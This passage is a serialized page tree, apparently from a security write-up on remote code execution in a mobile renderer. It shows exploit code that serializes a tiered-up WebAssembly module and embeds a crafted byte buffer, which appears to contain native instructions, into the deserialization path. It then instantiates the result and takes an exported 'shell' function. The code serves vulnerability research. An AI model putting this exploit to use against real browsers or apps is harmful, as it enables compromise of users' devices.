25,"children":143426},{"style":346},[143427],{"type":29,"value":2744},{"type":24,"tag":327,"props":143429,"children":143430},{"style":397},[143431],{"type":29,"value":2988},{"type":24,"tag":327,"props":143433,"children":143434},{"style":346},[143435],{"type":29,"value":2744},{"type":24,"tag":327,"props":143437,"children":143438},{"style":397},[143439],{"type":29,"value":2988},{"type":24,"tag":327,"props":143441,"children":143442},{"style":346},[143443],{"type":29,"value":2744},{"type":24,"tag":327,"props":143445,"children":143446},{"style":397},[143447],{"type":29,"value":24805},{"type":24,"tag":327,"props":143449,"children":143450},{"style":346},[143451],{"type":29,"value":2744},{"type":24,"tag":327,"props":143453,"children":143454},{"style":397},[143455],{"type":29,"value":10731},{"type":24,"tag":327,"props":143457,"children":143458},{"style":346},[143459],{"type":29,"value":2744},{"type":24,"tag":327,"props":143461,"children":143462},{"style":397},[143463],{"type":29,"value":3238},{"type":24,"tag":327,"props":143465,"children":143466},{"style":346},[143467],{"type":29,"value":2744},{"type":24,"tag":327,"props":143469,"children":143470},{"style":397},[143471],{"type":29,"value":2988},{"type":24,"tag":327,"props":143473,"children":143474},{"style":346},[143475],{"type":29,"value":2744},{"type":24,"tag":327,"props":143477,"children":143478},{"style":397},[143479],{"type":29,"value":61392},{"type":24,"tag":327,"props":143481,"children":143482},{"style":346},[143483],{"type":29,"value":2744},{"type":24,"tag":327,"props":143485,"children":143486},{"style":397},[143487],{"type":29,"value":62607},{"type":24,"tag":327,"props":143489,"children":143490},{"style":346},[143491],{"type":29,"value":2744},{"type":24,"tag":327,"props":143493,"children":143494},{"style":397},[143495],{"type":29,"value":3238},{"type":24,"tag":327,"props":143497,"children":143498},{"style":346},[143499],{"type":29,"value":2744},{"type":24,"tag":327,"props":143501,"children":143502},{"style":397},[143503],{"type":29,"value":25618},{"type":24,"tag":327,"props":143505,"children":143506},{"style":346},[143507],{"type":29,"value":2744},{"type":24,"tag":327,"props":143509,"children":143510},{"style":397},[143511],{"type":29,"value":140225},{"type":24,"tag":327,"props":143513,"children":143514},{"style":346},[143515],{"type":29,"value":2744},{"type":24,"tag":327,"props":143517,"children":143518},{"style":397},[143519],{"type":29,"value":140396},{"type":24,"tag":327,"props":143521,"children":143522},{"style":346},[143523],{"type":29,"value":2744},{"type":24,"tag":327,"props":143525,"children":143526},{"style":397},[143527],{"type":29,"value":140405},{"type":24,"tag":327,"props":143529,"children":143530},{"style":346},[143531],{"type":29,"value":2744},{"type":24,"tag":327,"props":143533,"children":143534},{"style":397},[143535],{"type":29,"value":140414},{"type":24,"tag":327,"props":143537,"children":143538},{"style":346},[143539],{"type":29,"value":2744},{"type":24,"tag":327,"props":143541,"children":143542},{"style":397},[143543],{"type":29,"value":140414},{"type":24,"tag":327,"props":143545,"children":143546},{"style":346},[143547],{"type":29,"value":2231},{"type":24,"tag":327,"props":143549,"children":143550},{"class":329,"line":421},[143551,143555,143559,143563,143567,143571,143575,143579,143583,143587,143591,143595,143599,143603,143607,143611],{"type":24,"tag":327,"props":143552,"children":143553},{"style":397},[143554],{"type":29,"value":140924},{"type":24,"tag":327,"props":143556,"children":143557},{"style":346},[143558],{"type":29,"value":2744},{"type":24,"tag":327,"props":143560,"children":143561},{"style":397},[143562],{"type":29,"value":2988},{"type":24,"tag":327,"props":143564,"children":143565},{"style":346},[143566],{"type":29,"value":2744},{"type":24,"tag":327,"props":143568,"children":143569},{"style":397},[143570],{"type":29,"value":95980},{"type":24,"tag":327,"props":143572,"children":143573},{"style":346},[143574],{"type":29,"value":2744},{"type":24,"tag":327,"props":143576,"children":143577},{"style":397},[143578],{"type":29,"value":25038},{"type":24,"tag":327,"props":143580,"children":143581},{"style":346},[143582],{"type":29,"value":2744},{"type":24,"tag":327,"props":143584,"children":143585},{"style":397},[143586],{"type":29,"value":3238},{"type":24,"tag":327,"props":143588,"children":143589},{"style":346},[143590],{"type":29,"value":2744},{"type":24,"tag":327,"props":143592,"children":143593},{"style":397},[143594],{"type":29,"value":10731},{"type":24,"tag":327,"props":143596,"children":143597},{"style":346},[143598],{"type":29,"value":2744},{"type":24,"tag":327,"props":143600,"children":143601},{"style":397},[143602],{"type":29,"value":2988},{"type":24,"tag":327,"props":143604,"children":143605},{"style":346},[143606],{"type":29,"value":2744},{"type":24,"tag":327,"props":143608,"children":143609},{"style":397},[143610],{"type":29,"value":140490},{"type":24,"tag":327,"props":143612,"children":143613},{"style":346},[143614],{"type":29,"value":2231},{"type":24,"tag":327,"props":143616,"children":143617},{"class":329,"line":450},[143618],{"type":24,"tag":327,"props":143619,"children":143620},{"style":346},[143621],{"type":29,"value":141211},{"type":24,"tag":327,"props":143623,"children":143624},{"class":329,"line":481},[143625,143629,143633,143637,143641,143645,143649,143653,143657,143661],{"type":24,"tag":327,"props":143626,"children":143627},{"style":334},[143628],{"type":29,"value":143308},{"type":24,"tag":327,"props":143630,"children":143631},{"style":356},[143632],{"type":29,"value":78349},{"type":24,"tag":327,"props":143634,"children":143635},{"style":381},[143636],{"type":29,"value":4809},{"type":24,"tag":327,"props":143638,"children":143639},{"style":334},[143640],{"type":29,"value":38643},{"type":24,"tag":327,"props":143642,"children":143643},{"style":356},[143644],{"type":29,"value":140525},{"type":24,"tag":327,"props":143646,"children":143647},{"style":346},[143648],{"type":29,"value":66},{"type":24,"tag":327,"props":143650,"children":143651},{"style":340},[143652],{"type":29,"value":92646},{"type":24,"tag":327,"props":143654,"children":143655},{"style":346},[143656],{"type":29,"value":349},{"type":24,"tag":327,"props":143658,"children":143659},{"style":356},[143660],{"type":29,"value":140542},{"type":24,"tag":327,"props":143662,"children":143663},{"style":346},[143664],{"type":29,"value":583},{"type":24,"tag":327,"props":143666,"children":143667},{"class":329,"line":500},[143668,143672,143676,143680,143684,143688,143692,143696,143700,143704],{"type":24,"tag":327,"props":143669,"children":143670},{"style":334},[143671],{"type":29,"value":143308},{"type":24,"tag":327,"props":143673,"children":143674},{"style":356},[143675],{"type":29,"value":140558},{"type":24,"tag":327,"props":143677,"children":143678},{"style":381},[143679],{"type":29,"value":4809},{"type":24,"tag":327,"props":143681,"children":143682},{"style":334},[143683],{"type":29,"value":38643},{"type":24,"tag":327,"props":143685,"children":143686},{"style":356},[143687],{"type":29,"value":140525},{"type":24,"tag":327,"props":143689,"children":143690},{"style":346},[143691],{"type":29,"value":66},{"type":24,"tag":327,"props":143693,"children":143694},{"style":340},[143695],{"type":29,"value":140579},{"type":24,"tag":327,"props":143697,"children":143698},{"style":346},[143699],{"type":29,"value":349},{"type":24,"tag":327,"props":143701,"children":143702},{"style":356},[143703],{"type":29,"value":140588},{"type":24,"tag":327,"props":143705,"children":143706},{"style":346},[143707],{"type":29,"value":583},{"type":24,"tag":327,"props":143709,"children":143710},{"class":329,"line":529},[143711,143715,143719,143723,143727,143731,143735,143739,143743],{"type":24,"tag":327,"props":143712,"children":143713},{"style":334},[143714],{"type":29,"value":143308},{"type":24,"tag":327,"props":143716,"children":143717},{"style":356},[143718],{"type":29,"value":86736},{"type":24,"tag":327,"props":143720,"children":143721},{"style":381},[143722],{"type":29,"value":4809},{"type":24,"tag":327,"props":143724,"children":143725},{"style":356},[143726],{"type":29,"value":140558},{"type":24,"tag":327,"props":143728,"children":143729},{"style":346},[143730],{"type":29,"value":66},{"type":24,"tag":327,"props":143732,"children":143733},{"style":356},[143734],{"type":29,"value":44599},{"type":24,"tag":327,"props":143736,"children":143737},{"style":346},[143738],{"type":29,"value":66},{"type":24,"tag":327,"props":143740,"children":143741},{"style":356},[143742],{"type":29,"value":140628},{"type":24,"tag":327,"props":143744,"children":143745},{"style":346},[143746],{"type":29,"value":405},{"type":24,"tag":327,"props":143748,"children":143749},{"class":329,"line":538},[143750],{"type":24,"tag":327,"props":143751,"children":143752},{"emptyLinePlaceholder":16},[143753],{"type":29,"value":544},{"type":24,"tag":327,"props":143755,"children":143756},{"class":329,"line":547},[143757],{"type":24,"tag":327,"props":143758,"children":143759},{"style":551},[143760],{"type":29,"value":143761},"  // %WasmTierUpFunction(func);\n",{"type":24,"tag":327,"props":143763,"children":143764},{"class":329,"line":557},[143765,143770,143774,143778,143782,143786,143790,143794,143798,143802,143806,143810,143814,143818],{"type":24,"tag":327,"props":143766,"children":143767},{"style":425},[143768],{"type":29,"value":143769},"  for",{"type":24,"tag":327,"props":143771,"children":143772},{"style":346},[143773],{"type":29,"value":5894},{"type":24,"tag":327,"props":143775,"children":143776},{"style":334},[143777],{"type":29,"value":19334},{"type":24,"tag":327,"props":143779,"children":143780},{"style":356},[143781],{"type":29,"value":10999},{"type":24,"tag":327,"props":143783,"children":143784},{"style":381},[143785],{"type":29,"value":4809},{"type":24,"tag":327,"props":143787,"children":143788},{"style":397},[143789],{"type":29,"value":6695},{"type":24,"tag":327,"props":143791,"children":143792},{"style":346},[143793],{"type":29,"value":9866},{"type":24,"tag":327,"props":143795,"children":143796},{"style":356},[143797],{"type":29,"value":11334},{"type":24,"tag":327,"props":143799,"children":143800},{"style":381},[143801],{"type":29,"value":4927},{"type":24,"tag":327,"props":143803,"children":143804},{"style":397},[143805],{"type":29,"value":143230},{"type":24,"tag":327,"props":143807,"children":143808},{"style":346},[143809],{"type":29,"value":9866},{"type":24,"tag":327,"props":143811,"children":143812},{"style":356},[143813],{"type":29,"value":11334},{"type":24,"tag":327,"props":143815,"children":143816},{"style":381},[143817],{"type":29,"value":57990},{"type":24,"tag":327,"props":143819,"children":143820},{"style":346},[143821],{"type":29,"value":364},{"type":24,"tag":327,"props":143823,"children":143824},{"class":329,"line":586},[143825,143830],{"type":24,"tag":327,"props":143826,"children":143827},{"style":340},[143828],{"type":29,"value":143829},"    func",{"type":24,"tag":327,"props":143831,"children":143832},{"style":346},[143833],{"type":29,"value":4838},{"type":24,"tag":327,"props":143835,"children":143836},{"class":329,"line":1017},[143837],{"type":24,"tag":327,"props":143838,"children":143839},{"style":346},[143840],{"type":29,"value":13439},{"type":24,"tag":327,"props":143842,"children":143843},{"class":329,"line":1026},[143844],{"type":24,"tag":327,"props":143845,"children":143846},{"emptyLinePlaceholder":16},[143847],{"type":29,"value":544},{"type":24,"tag":327,"props":143849,"children":143850},{"class":329,"line":1048},[143851,143855,143859,143863,143867,143871,143875],{"type":24,"tag":327,"props":143852,"children":143853},{"style":334},[143854],{"type":29,"value":15417},{"type":24,"tag":327,"props":143856,"children":143857},{"style":356},[143858],{"type":29,"value":142664},{"type":24,"tag":327,"props":143860,"children":143861},{"style":381},[143862],{"type":29,"value":4809},{"type":24,"tag":327,"props":143864,"children":143865},{"style":340},[143866],{"type":29,"value":142673},{"type":24,"tag":327,"props":143868,"children":143869},{"style":346},[143870],{"type":29,"value":349},{"type":24,"tag":327,"props":143872,"children":143873},{"style":356},[143874],{"type":29,"value":140588},{"type":24,"tag":327,"props":143876,"children":143877},{"style":346},[143878],{"type":29,"value":583},{"type":24,"tag":327,"props":143880,"children":143881},{"class":329,"line":1067},[143882,143886,143890,143894,143898,143902,143906,143910,143914,143918],{"type":24,"tag":327,"props":143883,"children":143884},{"style":356},[143885],{"type":29,"value":142709},{"type":24,"tag":327,"props":143887,"children":143888},{"style":381},[143889],{"type":29,"value":4809},{"type":24,"tag":327,"props":143891,"children":143892},{"style":346},[143893],{"type":29,"value":5894},{"type":24,"tag":327,"props":143895,"children":143896},{"style":425},[143897],{"type":29,"value":39627},{"type":24,"tag":327,"props":143899,"children":143900},{"style":356},[143901],{"type":29,"value":142664},{"type":24,"tag":327,"props":143903,"children":143904},{"style":346},[143905],{"type":29,"value":66},{"type":24,"tag":327,"props":143907,"children":143908},{"style":340},[143909],{"type":29,"value":64287},{"type":24,"tag":327,"props":143911,"children":143912},{"style":346},[143913],{"type":29,"value":142738},{"type":24,"tag":327,"props":143915,"children":143916},{"style":356},[143917],{"type":29,"value":45865},{"type":24,"tag":327,"props":143919,"children":143920},{"style":346},[143921],{"type":29,"value":405},{"type":24,"tag":327,"props":143923,"children":143924},{"class":329,"line":1075},[143925,143929,143933,143937,143941,143945],{"type":24,"tag":327,"props":143926,"children":143927},{"style":356},[143928],{"type":29,"value":108671},{"type":24,"tag":327,"props":143930,"children":143931},{"style":346},[143932],{"type":29,"value":66},{"type":24,"tag":327,"props":143934,"children":143935},{"style":340},[143936],{"type":29,"value":108680},{"type":24,"tag":327,"props":143938,"children":143939},{"style":346},[143940],{"type":29,"value":349},{"type":24,"tag":327,"props":143942,"children":143943},{"style":356},[143944],{"type":29,"value":16637},{"type":24,"tag":327,"props":143946,"children":143947},{"style":346},[143948],{"type":29,"value":583},{"type":24,"tag":327,"props":143950,"children":143951},{"class":329,"line":1084},[143952],{"type":24,"tag":327,"props":143953,"children":143954},{"emptyLinePlaceholder":16},[143955],{"type":29,"value":544},{"type":24,"tag":327,"props":143957,"children":143958},{"class":329,"line":1100},[143959,143963,143968,143972,143976,143980,143984,143988],{"type":24,"tag":327,"props":143960,"children":143961},{"style":334},[143962],{"type":29,"value":15417},{"type":24,"tag":327,"props":143964,"children":143965},{"style":356},[143966],{"type":29,"value":143967}," result_bytes",{"type":24,"tag":327,"props":143969,"children":143970},{"style":381},[143971],{"type":29,"value":4809},{"type":24,"tag":327,"props":143973,"children":143974},{"style":334},[143975],{"type":29,"value":38643},{"type":24,"tag":327,"props":143977,"children":143978},{"style":340},[143979],{"type":29,"value":140194},{"type":24,"tag":327,"props":143981,"children":143982},{"style":346},[143983],{"type":29,"value":349},{"type":24,"tag":327,"props":143985,"children":143986},{"style":356},[143987],{"type":29,"value":16637},{"type":24,"tag":327,"props":143989,"children":143990},{"style":346},[143991],{"type":29,"value":583},{"type":24,"tag":327,"props":143993,"children":143994},{"class":329,"line":1128},[143995,143999,144003,144007,144011,144015,144019,144023,144027,144031,144035,144039,144043,144047,144051],{"type":24,"tag":327,"props":143996,"children":143997},{"style":356},[143998],{"type":29,"value":108671},{"type":24,"tag":327,"props":144000,"children":144001},{"style":346},[144002],{"type":29,"value":66},{"type":24,"tag":327,"props":144004,"children":144005},{"style":340},[144006],{"type":29,"value":108680},{"type":24,"tag":327,"props":144008,"children":144009},{"style":346},[144010],{"type":29,"value":349},{"type":24,"tag":327,"props":144012,"children":144013},{"style":844},[144014],{"type":29,"value":140761},{"type":24,"tag":327,"props":144016,"children":144017},{"style":381},[144018],{"type":29,"value":4407},{"type":24,"tag":327,"props":144020,"children":144021},{"style":356},[144022],{"type":29,"value":143967},{"type":24,"tag":327,"props":144024,"children":144025},{"style":346},[144026],{"type":29,"value":66},{"type":24,"tag":327,"props":144028,"children":144029},{"style":340},[144030],{"type":29,"value":140778},{"type":24,"tag":327,"props":144032,"children":144033},{"style":346},[144034],{"type":29,"value":349},{"type":24,"tag":327,"props":144036,"children":144037},{"style":844},[144038],{"type":29,"value":140787},{"type":24,"tag":327,"props":144040,"children":144041},{"style":346},[144042],{"type":29,"value":1674},{"type":24,"tag":327,"props":144044,"children":144045},{"style":381},[144046],{"type":29,"value":394},{"type":24,"tag":327,"props":144048,"children":144049},{"style":844},[144050],{"type":29,"value":140800},{"type":24,"tag":327,"props":144052,"children":144053},{"style":346},[144054],{"type":29,"value":583},{"type":24,"tag":327,"props":144056,"children":144057},{"class":329,"line":1148},[144058],{"type":24,"tag":327,"props":144059,"children":144060},{"style":346},[144061],{"type":29,"value":108712},{"type":24,"tag":25,"props":144063,"children":144064},{},[144065],{"type":29,"value":144066},"We get the serialized bytes:",{"type":24,"tag":25,"props":144068,"children":144069},{},[144070],{"type":24,"tag":11511,"props":144071,"children":144074},{"alt":144072,"src":144073},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":24,"tag":25,"props":144076,"children":144077},{},[144078,144080,144085],{"type":29,"value":144079},"We can now embed this output into the original bytecode that calls ",{"type":24,"tag":284,"props":144081,"children":144083},{"className":144082},[],[144084],{"type":29,"value":139657},{"type":29,"value":1636},{"type":24,"tag":317,"props":144087,"children":144089},{"code":144088,"language":42328,"meta":7,"className":42326,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[144090],{"type":24,"tag":284,"props":144091,"children":144092},{"__ignoreMap":7},[144093,144116,144143,144362,144429,144436,144463,144674,144925,145176,145400,145582,145803,145881,145888,145935,145978,146014,146057,146096,146123],{"type":24,"tag":327,"props":144094,"children":144095},{"class":329,"line":330},[144096,144100,144104,144108,144112],{"type":24,"tag":327,"props":144097,"children":144098},{"style":346},[144099],{"type":29,"value":349},{"type":24,"tag":327,"props":144101,"children":144102},{"style":334},[144103],{"type":29,"value":42858},{"type":24,"tag":327,"props":144105,"children":144106},{"style":346},[144107],{"type":29,"value":46410},{"type":24,"tag":327,"props":144109,"children":144110},{"style":334},[144111],{"type":29,"value":9195},{"type":24,"tag":327,"props":144113,"children":144114},{"style":346},[144115],{"type":29,"value":497},{"type":24,"tag":327,"props":144117,"children":144118},{"class":329,"line":367},[144119,144123,144127,144131,144135,144139],{"type":24,"tag":327,"props":144120,"children":144121},{"style":334},[144122],{"type":29,"value":42901},{"type":24,"tag":327,"props":144124,"children":144125},{"style":356},[144126],{"type":29,"value":140181},{"type":24,"tag":327,"props":144128,"children":144129},{"style":381},[144130],{"type":29,"value":4809},{"type":24,"tag":327,"props":144132,"children":144133},{"style":334},[144134],{"type":29,"value":38643},{"type":24,"tag":327,"props":144136,"children":144137},{"style":340},[144138],{"type":29,"value":140194},{"type":24,"tag":327,"props":144140,"children":144141},{"style":346},[144142],{"type":29,"value":140199},{"type":24,"tag":327,"props":144144,"children":144145},{"class":329,"line":408},[144146,144150,144154,144158,144162,144166,144170,144174,144178,144182,144186,144190,144194,144198,144202,144206,144210,144214,144218,144222,144226,144230,144234,144238,144242,144246,144250,144254,144258,144262,144266,144270,144274,144278,144282,144286,144290,144294,144298,144302,144306,144310,144314,144318,144322,144326,144330,144334,144338,144342,144346,144350,144354,144358],{"type":24,"tag":327,"props":144147,"children":144148},{"style":397},[144149],{"type":29,"value":140924},{"type":24,"tag":327,"props":144151,"children":144152},{"style":346},[144153],{"type":29,"value":2744},{"type":24,"tag":327,"props":144155,"children":144156},{"style":397},[144157],{"type":29,"value":140216},{"type":24,"tag":327,"props":144159,"children":144160},{"style":346},[144161],{"type":29,"value":2744},{"type":24,"tag":327,"props":144163,"children":144164},{"style":397},[144165],{"type":29,"value":140225},{"type":24,"tag":327,"props":144167,"children":144168},{"style":346},[144169],{"type":29,"value":2744},{"type":24,"tag":327,"props":144171,"children":144172},{"style":397},[144173],{"type":29,"value":140234},{"type":24,"tag":327,"props":144175,"children":144176},{"style":346},[144177],{"type":29,"value":2744},{"type":24,"tag":327,"props":144179,"children":144180},{"style":397},[144181],{"type":29,"value":3238},{"type":24,"tag":327,"props":144183,"children":144184},{"style":346},[144185],{"type":29,"value":2744},{"type":24,"tag":327,"props":144187,"children":144188},{"style":397},[144189],{"type":29,"value":2988},{"type":24,"tag":327,"props":144191,"children":144192},{"style":346},[144193],{"type":29,"value":2744},{"type":24,"tag":327,"props":144195,"children":144196},{"style":397},[144197],{"type":29,"value":2988},{"type":24,"tag":327,"props":144199,"children":144200},{"style":346},[144201],{"type":29,"value":2744},{"type":24,"tag":327,"props":144203,"children":144204},{"style":397},[144205],{"type":29,"value":2988},{"type":24,"tag":327,"props":144207,"children":144208},{"style":346},[144209],{"type":29,"value":2744},{"type":24,"tag":327,"props":144211,"children":144212},{"style":397},[144213],{"type":29,"value":3238},{"type":24,"tag":327,"props":144215,"children":144216},{"style":346},[144217],{"type":29,"value":2744},{"type":24,"tag":327,"props":144219,"children":144220},{"style":397},[144221],{"type":29,"value":25038},{"type":24,"tag":327,"props":144223,"children":144224},{"style":346},[144225],{"type":29,"value":2744},{"type":24,"tag":327,"props":144227,"children":144228},{"style":397},[144229],{"type":29,"value":3238},{"type":24,"tag":327,"props":144231,"children":144232},{"style":346},[144233],{"type":29,"value":2744},{"type":24,"tag":327,"props":144235,"children":144236},{"style":397},[144237],{"type":29,"value":140299},{"type":24,"tag":327,"props":144239,"children":144240},{"style":346},[144241],{"type":29,"value":2744},{"type":24,"tag":327,"props":144243,"children":144244},{"style":397},[144245],{"type":29,"value":2988},{"type":24,"tag":327,"props":144247,"children":144248},{"style":346},[144249],{"type":29,"value":2744},{"type":24,"tag":327,"props":144251,"children":144252},{"style":397},[144253],{"type":29,"value":2988},{"type":24,"tag":327,"props":144255,"children":144256},{"style":346},[144257],{"type":29,"value":2744},{"type":24,"tag":327,"props":144259,"children":144260},{"style":397},[144261],{"type":29,"value":24805},{"type":24,"tag":327,"props":144263,"children":144264},{"style":346},[144265],{"type":29,"value":2744},{"type":24,"tag":327,"props":144267,"children":144268},{"style":397},[144269],{"type":29,"value":10731},{"type":24,"tag":327,"props":144271,"children":144272},{"style":346},[144273],{"type":29,"value":2744},{"type":24,"tag":327,"props":144275,"children":144276},{"style":397},[144277],{"type":29,"value":3238},{"type":24,"tag":327,"props":144279,"children":144280},{"style":346},[144281],{"type":29,"value":2744},{"type":24,"tag":327,"props":144283,"children":144284},{"style":397},[144285],{"type":29,"value":2988},{"type":24,"tag":327,"props":144287,"children":144288},{"style":346},[144289],{"type":29,"value":2744},{"type":24,"tag":327,"props":144291,"children":144292},{"style":397},[144293],{"type":29,"value":61392},{"type":24,"tag":327,"props":144295,"children":144296},{"style":346},[144297],{"type":29,"value":2744},{"type":24,"tag":327,"props":144299,"children":144300},{"style":397},[144301],{"type":29,"value":62607},{"type":24,"tag":327,"props":144303,"children":144304},{"style":346},[144305],{"type":29,"value":2744},{"type":24,"tag":327,"props":144307,"children":144308},{"style":397},[144309],{"type":29,"value":3238},{"type":24,"tag":327,"props":144311,"children":144312},{"style":346},[144313],{"type":29,"value":2744},{"type":24,"tag":327,"props":144315,"children":144316},{"style":397},[144317],{"type":29,"value":25618},{"type":24,"tag":327,"props":144319,"children":144320},{"style":346},[144321],{"type":29,"value":2744},{"type":24,"tag":327,"props":144323,"children":144324},{"style":397},[144325],{"type":29,"value":140225},{"type":24,"tag":327,"props":144327,"children":144328},{"style":346},[144329],{"type":29,"value":2744},{"type":24,"tag":327,"props":144331,"children":144332},{"style":397},[144333],{"type":29,"value":140396},{"type":24,"tag":327,"props":144335,"children":144336},{"style":346},[144337],{"type":29,"value":2744},{"type":24,"tag":327,"props":144339,"children":144340},{"style":397},[144341],{"type":29,"value":140405},{"type":24,"tag":327,"props":144343,"children":144344},{"style":346},[144345],{"type":29,"value":2744},{"type":24,"tag":327,"props":144347,"children":144348},{"style":397},[144349],{"type":29,"value":140414},{"type":24,"tag":327,"props":144351,"children":144352},{"style":346},[144353],{"type":29,"value":2744},{"type":24,"tag":327,"props":144355,"children":144356},{"style":397},[144357],{"type":29,"value":140414},{"type":24,"tag":327,"props":144359,"children":144360},{"style":346},[144361],{"type":29,"value":2231},{"type":24,"tag":327,"props":144363,"children":144364},{"class":329,"line":421},[144365,144369,144373,144377,144381,144385,144389,144393,144397,144401,144405,144409,144413,144417,144421,144425],{"type":24,"tag":327,"props":144366,"children":144367},{"style":397},[144368],{"type":29,"value":140924},{"type":24,"tag":327,"props":144370,"children":144371},{"style":346},[144372],{"type":29,"value":2744},{"type":24,"tag":327,"props":144374,"children":144375},{"style":397},[144376],{"type":29,"value":2988},{"type":24,"tag":327,"props":144378,"children":144379},{"style":346},[144380],{"type":29,"value":2744},{"type":24,"tag":327,"props":144382,"children":144383},{"style":397},[144384],{"type":29,"value":95980},{"type":24,"tag":327,"props":144386,"children":144387},{"style":346},[144388],{"type":29,"value":2744},{"type":24,"tag":327,"props":144390,"children":144391},{"style":397},[144392],{"type":29,"value":25038},{"type":24,"tag":327,"props":144394,"children":144395},{"style":346},[144396],{"type":29,"value":2744},{"type":24,"tag":327,"props":144398,"children":144399},{"style":397},[144400],{"type":29,"value":3238},{"type":24,"tag":327,"props":144402,"children":144403},{"style":346},[144404],{"type":29,"value":2744},{"type":24,"tag":327,"props":144406,"children":144407},{"style":397},[144408],{"type":29,"value":10731},{"type":24,"tag":327,"props":144410,"children":144411},{"style":346},[144412],{"type":29,"value":2744},{"type":24,"tag":327,"props":144414,"children":144415},{"style":397},[144416],{"type":29,"value":2988},{"type":24,"tag":327,"props":144418,"children":144419},{"style":346},[144420],{"type":29,"value":2744},{"type":24,"tag":327,"props":144422,"children":144423},{"style":397},[144424],{"type":29,"value":140490},{"type":24,"tag":327,"props":144426,"children":144427},{"style":346},[144428],{"type":29,"value":2231},{"type":24,"tag":327,"props":144430,"children":144431},{"class":329,"line":450},[144432],{"type":24,"tag":327,"props":144433,"children":144434},{"style":346},[144435],{"type":29,"value":141211},{"type":24,"tag":327,"props":144437,"children":144438},{"class":329,"line":481},[144439,144443,144447,144451,144455,144459],{"type":24,"tag":327,"props":144440,"children":144441},{"style":334},[144442],{"type":29,"value":42901},{"type":24,"tag":327,"props":144444,"children":144445},{"style":356},[144446],{"type":29,"value":131994},{"type":24,"tag":327,"props":144448,"children":144449},{"style":381},[144450],{"type":29,"value":4809},{"type":24,"tag":327,"props":144452,"children":144453},{"style":334},[144454],{"type":29,"value":38643},{"type":24,"tag":327,"props":144456,"children":144457},{"style":340},[144458],{"type":29,"value":140194},{"type":24,"tag":327,"props":144460,"children":144461},{"style":346},[144462],{"type":29,"value":140199},{"type":24,"tag":327,"props":144464,"children":144465},{"class":329,"line":500},[144466,144471,144475,144479,144483,144487,144491,144495,144499,144504,144508,144513,144517,144522,144526,144531,144535,144539,144543,144547,144551,144555,144559,144563,144567,144572,144576,144581,144585,144590,144594,144598,144602,144606,144610,144614,144618,144622,144626,144630,144634,144638,144642,144646,144650,144654,144658,144662,144666,144670],{"type":24,"tag":327,"props":144467,"children":144468},{"style":397},[144469],{"type":29,"value":144470},"    146",{"type":24,"tag":327,"props":144472,"children":144473},{"style":346},[144474],{"type":29,"value":2744},{"type":24,"tag":327,"props":144476,"children":144477},{"style":397},[144478],{"type":29,"value":25930},{"type":24,"tag":327,"props":144480,"children":144481},{"style":346},[144482],{"type":29,"value":2744},{"type":24,"tag":327,"props":144484,"children":144485},{"style":397},[144486],{"type":29,"value":141263},{"type":24,"tag":327,"props":144488,"children":144489},{"style":346},[144490],{"type":29,"value":2744},{"type":24,"tag":327,"props":144492,"children":144493},{"style":397},[144494],{"type":29,"value":141272},{"type":24,"tag":327,"props":144496,"children":144497},{"style":346},[144498],{"type":29,"value":2744},{"type":24,"tag":327,"props":144500,"children":144501},{"style":397},[144502],{"type":29,"value":144503},"174",{"type":24,"tag":327,"props":144505,"children":144506},{"style":346},[144507],{"type":29,"value":2744},{"type":24,"tag":327,"props":144509,"children":144510},{"style":397},[144511],{"type":29,"value":144512},"122",{"type":24,"tag":327,"props":144514,"children":144515},{"style":346},[144516],{"type":29,"value":2744},{"type":24,"tag":327,"props":144518,"children":144519},{"style":397},[144520],{"type":29,"value":144521},"171",{"type":24,"tag":327,"props":144523,"children":144524},{"style":346},[144525],{"type":29,"value":2744},{"type":24,"tag":327,"props":144527,"children":144528},{"style":397},[144529],{"type":29,"value":144530},"151",{"type":24,"tag":327,"props":144532,"children":144533},{"style":346},[144534],{"type":29,"value":2744},{"type":24,"tag":327,"props":144536,"children":144537},{"style":397},[144538],{"type":29,"value":103394},{"type":24,"tag":327,"props":144540,"children":144541},{"style":346},[144542],{"type":29,"value":2744},{"type":24,"tag":327,"props":144544,"children":144545},{"style":397},[144546],{"type":29,"value":2988},{"type":24,"tag":327,"props":144548,"children":144549},{"style":346},[144550],{"type":29,"value":2744},{"type":24,"tag":327,"props":144552,"children":144553},{"style":397},[144554],{"type":29,"value":2988},{"type":24,"tag":327,"props":144556,"children":144557},{"style":346},[144558],{"type":29,"value":2744},{"type":24,"tag":327,"props":144560,"children":144561},{"style":397},[144562],{"type":29,"value":2988},{"type":24,"tag":327,"props":144564,"children":144565},{"style":346},[144566],{"type":29,"value":2744},{"type":24,"tag":327,"props":144568,"children":144569},{"style":397},[144570],{"type":29,"value":144571},"39",{"type":24,"tag":327,"props":144573,"children":144574},{"style":346},[144575],{"type":29,"value":2744},{"type":24,"tag":327,"props":144577,"children":144578},{"style":397},[144579],{"type":29,"value":144580},"61",{"type":24,"tag":327,"props":144582,"children":144583},{"style":346},[144584],{"type":29,"value":2744},{"type":24,"tag":327,"props":144586,"children":144587},{"style":397},[144588],{"type":29,"value":